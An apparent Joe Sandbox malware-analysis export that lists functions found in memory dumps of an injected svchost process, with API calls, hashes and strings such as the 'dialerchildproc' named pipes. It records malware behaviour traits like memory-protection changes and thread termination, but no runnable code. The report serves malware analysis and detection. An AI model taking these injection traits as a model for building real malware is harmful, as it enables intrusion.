Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: ceb190c1bc5cb76a39468d0dcf2336ec5ebfdbce9e152840d3fa6cc9d2bd33da
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 6381CE72704E41C6FB52ABE594713D926E3EB96B80F548025EA0577F96EF38C84A8F00

Function 00000195DD5CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCE37
FlsGetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE4C
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE6D
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE9A
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEAB
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEBC
SetLastError.KERNEL32 ref: 00000195DD5CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF0D
FlsSetValue.KERNEL32(?,?,00000001,00000195DD5CECCC,?,?,?,?,00000195DD5CBF9F,?,?,?,?,?,00000195DD5C7AB0), ref: 00000195DD5CCF2C

Part of subcall function 00000195DD5CD6CC: HeapAlloc.KERNEL32 ref: 00000195DD5CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF54

Part of subcall function 00000195DD5CD744: HeapFree.KERNEL32 ref: 00000195DD5CD75A
Part of subcall function 00000195DD5CD744: GetLastError.KERNEL32 ref: 00000195DD5CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF76

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 5deeaa700c7bca527ac3e0ef52b0542e40d86773dc9f6c8a69b3fdc468513023
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B5412034303E4C82FB6BA7EE59753F913C35B857B4F140724A936E6ED6DE2894818700

Function 00000195DD5C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000195DD5C2259
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C2263

Part of subcall function 00000195DD5C1934: OpenProcess.KERNEL32 ref: 00000195DD5C1952
Part of subcall function 00000195DD5C1934: IsWow64Process.KERNEL32 ref: 00000195DD5C1968
Part of subcall function 00000195DD5C1934: CloseHandle.KERNEL32 ref: 00000195DD5C1983

CreateFileW.KERNEL32 ref: 00000195DD5C22BC
WriteFile.KERNEL32 ref: 00000195DD5C22E4
ReadFile.KERNEL32 ref: 00000195DD5C2303
CloseHandle.KERNEL32 ref: 00000195DD5C230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000195DD5C2293
\\.\pipe\dialerchildproc64, xrefs: 00000195DD5C228C

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: ef64e02e287f94d0d9415c348699ab4dc805c8a96bd9a803ab77d90ce42376f4
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 09217932614B4483FB118BA5F4647AA73E2F789BA5F544215EA5953FA8CF3CC14ACB00

Function 00000195DD5CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5CA5A1

Part of subcall function 00000195DD5CB414: __GetUnwindTryBlock.LIBCMT ref: 00000195DD5CB457
Part of subcall function 00000195DD5CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD5CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD5CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD5CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD5CA9DA

Strings

csm, xrefs: 00000195DD5CA69C
csm, xrefs: 00000195DD5CA622
csm, xrefs: 00000195DD5CA5BB

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction ID: 9c2520efcc87ac771d522e1eb6396a81ecb0ce0daac719ccbdf896b70f129e44
Opcode Fuzzy Hash: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction Fuzzy Hash: 07E18D72606B488AEB32DFA9D4913DD7BE2F745B98F100115EE89A7F99CB35C481CB00

Function 00000195DD599944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5999A1

Part of subcall function 00000195DD59A814: __GetUnwindTryBlock.LIBCMT ref: 00000195DD59A857
Part of subcall function 00000195DD59A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD59A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD599A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD599CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD599DDA

Strings

csm, xrefs: 00000195DD5999BB
csm, xrefs: 00000195DD599A9C
csm, xrefs: 00000195DD599A22

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 8578d22811c705561b9a0c63265d0fa22d72dfafe6aec0b6b4f758a2598a20e0
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 3EE18C72604B40CAEB62DBA5D4A03DD7BE2F756B98F142116EE8967F99CB34C191CF00

Function 00000195DD5CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000195DD5CF510
GetProcAddress.KERNEL32 ref: 00000195DD5CF51C

Strings

api-ms-, xrefs: 00000195DD5CF45A
ext-ms-, xrefs: 00000195DD5CF46D

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction ID: f94411bdc3c5adc3673d068f26baf74004ea3de06b1d5fa0a00e338998d396b5
Opcode Fuzzy Hash: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction Fuzzy Hash: 4741B236313E0492EB17DB9AA8647D623E7BB45BA0F494125DD0AE7F84EE3CC44A8350

Function 00000195DD5C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C10B1
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1117
GetProcessHeap.KERNEL32 ref: 00000195DD5C115A
HeapAlloc.KERNEL32 ref: 00000195DD5C1168
GetProcessHeap.KERNEL32 ref: 00000195DD5C1185
HeapFree.KERNEL32 ref: 00000195DD5C1193

Strings

d, xrefs: 00000195DD5C10D6

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 85125c25dfd785958ae00b37ce84ac9a8513cd9fd1755175fa0b0cf5bc826ac5
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: CC418C33214F88C6E761CFA5E45479A77E2F389B89F048129DA8957B58DF3CC489CB00

Function 00000195DD5CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD087
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0A6
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0CE
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0DF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0F0

Strings

Y%, xrefs: 00000195DD5CD0A6
1%, xrefs: 00000195DD5CD0CE

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: b29a2c01b9a529d3d397189201e4ebb9e472c9377beb16884566e216c47c93f0
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 47112134707A8881FB6A67AF59717E963C35B847F0F1443269839F6EDAEE28C5428700

Function 00000195DD5C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD5C7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD5C758A
_RTC_Initialize.LIBCMT ref: 00000195DD5C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5C75DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD5C7609

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: db17aeae78a532267f4925ec03955f9628ff8aa19b2b3ce37216714fce8ee9dc
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7281A031602E0F86FB63ABEE98713D967D3AB45780F145415DA05F7F96EB78C8868700

Function 00000195DD5C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E49
GetLastError.KERNEL32 ref: 00000195DD5C9E57
LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E81
FreeLibrary.KERNEL32 ref: 00000195DD5C9EC7
GetProcAddress.KERNEL32 ref: 00000195DD5C9ED3

Strings

api-ms-, xrefs: 00000195DD5C9E69

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction ID: 8d15efdb5329dbd6f8d908350e729aaeb4b7b6a33fa5c2f06519c4c6539ee195
Opcode Fuzzy Hash: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction Fuzzy Hash: 0E31E531213E04D1EF13DBCAA4207D523D6B759BA1F590625DD1EABB98EF38C245C710

Function 00000195DD5D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000195DD5D3DE5
GetLastError.KERNEL32 ref: 00000195DD5D3DF1
CloseHandle.KERNEL32 ref: 00000195DD5D3E09
CreateFileW.KERNEL32 ref: 00000195DD5D3E34
WriteConsoleW.KERNEL32 ref: 00000195DD5D3E53

Strings

CONOUT$, xrefs: 00000195DD5D3E15

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 900ef7d4bcd6fd2864e51168dc1007f1dfbbe5e213ae5e9ff28ad5abe65b03b1
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 2C11BF32310F4086E7629B96E8643A9B3E1F788FE5F044224EA1A97B94CF78C8058750

Function 00000195DD5C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

Strings

wr, xrefs: 00000195DD5C37FF

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 42188e63fbb78b0732cb93c59acbf515d5b68af2c84de3977fd9872ca41c66e2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 38118E36302F4982FF559B95F4242A963F2F749B85F040028DE8953B94EF3DC545C714

Function 00000195DD5C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B
GetThreadContext.KERNEL32 ref: 00000195DD5C5CD5

Part of subcall function 00000195DD5C5960: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5964

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 195e277db55ff97f3f99f451c10649e3fcd3ec1e2be31b8428dbef89db2187c3
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 12D17876205F8882DB71DB9AE4A439A77E1F388B84F500116EA8E97FA5DF3CC551CB40

Function 00000195DD5C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C2F27
HeapAlloc.KERNEL32 ref: 00000195DD5C2F3A
StrCmpNIW.SHLWAPI ref: 00000195DD5C2FAF
GetProcessHeap.KERNEL32 ref: 00000195DD5C3015
HeapFree.KERNEL32 ref: 00000195DD5C3023

Strings

dialer, xrefs: 00000195DD5C2FA8

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: fc4c9099da629ec678108cb9cb41e40dfa530a30d66993f12becd6c4ba3f9dba
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 0C317036702F5DC2E716DF9AE561BA977E2FB44B84F084020DE48A7F55EB34C4A18740

Function 00000195DD5CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCFAF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CCFE5
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD012
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD023
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD034
SetLastError.KERNEL32 ref: 00000195DD5CD04F

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8fdc15ff09e63732eb275527d3260f2eb5a265f6af426b64fb26ff3aadc1099c
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: C9115E34203E4882FB66A7AE59757B963C39B847B4F144725A836F6FD6EE6884428700

Function 00000195DD5C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000195DD5C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
lstrlenW.KERNEL32 ref: 00000195DD5C19FB
StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 094941dede99f9d048632fe007c60956db5d273133d38dce1c9db68577c35704
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: F4018C31300E4882EB11DB92A86879963E2F788FC1F884035DE4DA3B54DF3CC98AC750

Function 00000195DD5C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C36E4
GetCurrentProcess.KERNEL32 ref: 00000195DD5C36F2
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3714
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3732
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3753
TerminateThread.KERNEL32 ref: 00000195DD5C3762

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: a4c37ed03e2153ec921c4fe35d3b930d694565bbf9533148a8bdd7b871a42841
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 00014075312F4882FF269BA6E82879573E2BB45B86F040424CE4967B54EF3DC149C710

Function 00000195DD5C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

f, xrefs: 00000195DD5C9026
csm, xrefs: 00000195DD5C908E

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction ID: b6a9a57366d7e32ba7d8204e1a09c4ae5b67336b6113bd5d1bf03962d45849d0
Opcode Fuzzy Hash: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction Fuzzy Hash: FD51E732703A088AEB16CF59E469BD837D7F34AB89F518124DA06A3B8CDB75C841CB44

Function 00000195DD5C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

f, xrefs: 00000195DD5C9026
csm, xrefs: 00000195DD5C908E

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 3343c703fad3ff3a8a0055ce76d4c8b5bb2113134d4bfc35ff936db91a6087cf
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 3931D132202A44C6E716DF5AE86879937E6F745BCAF058014EE46A7B8DDB39C941CB04

Function 00000195DD5C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000195DD5C1A60
StrCmpNIW.SHLWAPI ref: 00000195DD5C1A7A
lstrlenW.KERNEL32 ref: 00000195DD5C1A89
StrCpyW.SHLWAPI ref: 00000195DD5C1A9E

Strings

\\?\, xrefs: 00000195DD5C1A6E

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: df346fd54c246db8dc1c541bbdd1f0d6174768352badab0d676f886130502b32
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2BF04432304A4592E7618BA5F8A479967E2F748BD8F844021DA4957E54DF3CC64ECB10

Function 00000195DD5C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000195DD5C3066
StrCpyW.SHLWAPI ref: 00000195DD5C3076
StrCatW.SHLWAPI ref: 00000195DD5C3082
PathCombineW.SHLWAPI ref: 00000195DD5C3090

Strings

\\.\pipe\, xrefs: 00000195DD5C305C

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CombinePath
